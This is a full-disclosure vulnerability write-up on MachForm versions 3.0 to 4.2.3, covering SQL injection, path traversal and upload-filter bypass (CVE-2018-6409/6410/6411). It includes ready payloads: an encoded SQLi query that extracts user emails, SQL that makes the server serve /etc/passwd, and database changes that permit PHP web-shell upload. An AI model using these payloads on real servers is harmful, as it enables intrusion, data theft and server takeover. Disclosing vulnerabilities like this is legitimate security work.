Ceci n’est pas un 0-Day (MachForm)

Years ago, I discovered some vulnerabilities in MachForm from Appnitro. These were reported to the vendor who acknowledged it, issued a fix and even published the notice for the users to update ASAP.

Well … 3 years later, these vulnerabilities are still in the wild. Some of the affected servers even got credit cards information with the corresponding CVV.

I hope that making a public full disclosure will help to get these servers secured.

Summary

The form creation platform MachForm from Appnitro is subject to SQL injections that lead to path traversal and arbitrary file upload.

The application is widely deployed and with some google dorks it’s possible to find various webpages storing sensitive data as credit card numbers with corresponding security codes. Also, the arbitrary file upload can let an attacker get control of the server by uploading a WebShell.

Affected versions go from version 3.0 until the fixed version 4.2.3

SQL injection

CVE-2018-6410

The software is subject to SQL injections in the ‘download.php’ file. This SQLi can be found on the parameter ‘q’ which a base64 encoded value for the following parameters:

$form_id    = $params['form_id'];
$id         = $params['id'];
$field_name = $params['el'];
$file_hash  = $params['hash'];

So the injectable parameters are ‘el’ and ‘form_id’ obtaining error-based, stacked queries and time-based blind SQL injections. This is due to the following vulnerable statement:

$query 	= "select {$field_name} from `".MF_TABLE_PREFIX."form_{$form_id}` where id=?";

POC

Proof of concept to get the first user mail:

  http:// [URL] / [Machform_folder] /download.php?q=ZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgyMDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3VzZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNIQVJBQ1RFUl9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE=

Which is the base64 encoding for:

el= (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x2020,(SELECT MID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT 0,1),0x2020,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) ;&id=1&hash=1&form_id=1

Path traversal

CVE-2018-6409

‘download.php’ is used to serve stored files from the forms answers. Modifying the name of the file to serve on the corresponding ap_form table leads to a path traversal vulnerability.

POC

First, we need to change the name for the element on the form:

update ap_form_58009 set element_4="../../../../../../../../../../../../../../../../etc/passwd" where id=1;

Now in order to be able to download it, we need to access:

 http:// [URL] / [Machform_folder] /download.php?q=ZWw9NCZpZD0xJmhhc2g9NDAyYmEwMjMwZDZmNDRhMmRlNTkwYWMxMTEwN2E0NTgmZm9ybV9pZD01ODAwOQo=

Which is the base64 encoding for:

 el=4&id=1&hash=402ba0230d6f44a2de590ac11107a458&form_id=58009

Note that hash is the MD5 of the corresponding filename:

md5("../../../../../../../../../../../../../../../../etc/passwd") = 402ba0230d6f44a2de590ac11107a458

Bypass file upload filter

CVE-2018-6411

When the form is set to filter a blacklist, it automatically adds dangerous extensions to the filters. If the filter is set to a whitelist, the dangerous extensions can be bypassed.

This can be done directly on the database via SQLi

update ap_form_elements set element_file_type_list="php",element_file_block_or_allow="a" where form_id=58009 and element_id=4;

Once uploaded the file can be found and executed in the following URL:

http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename]

The filename can be found in the database

SELECT element_4 FROM ap_form_58009 WHERE id=1;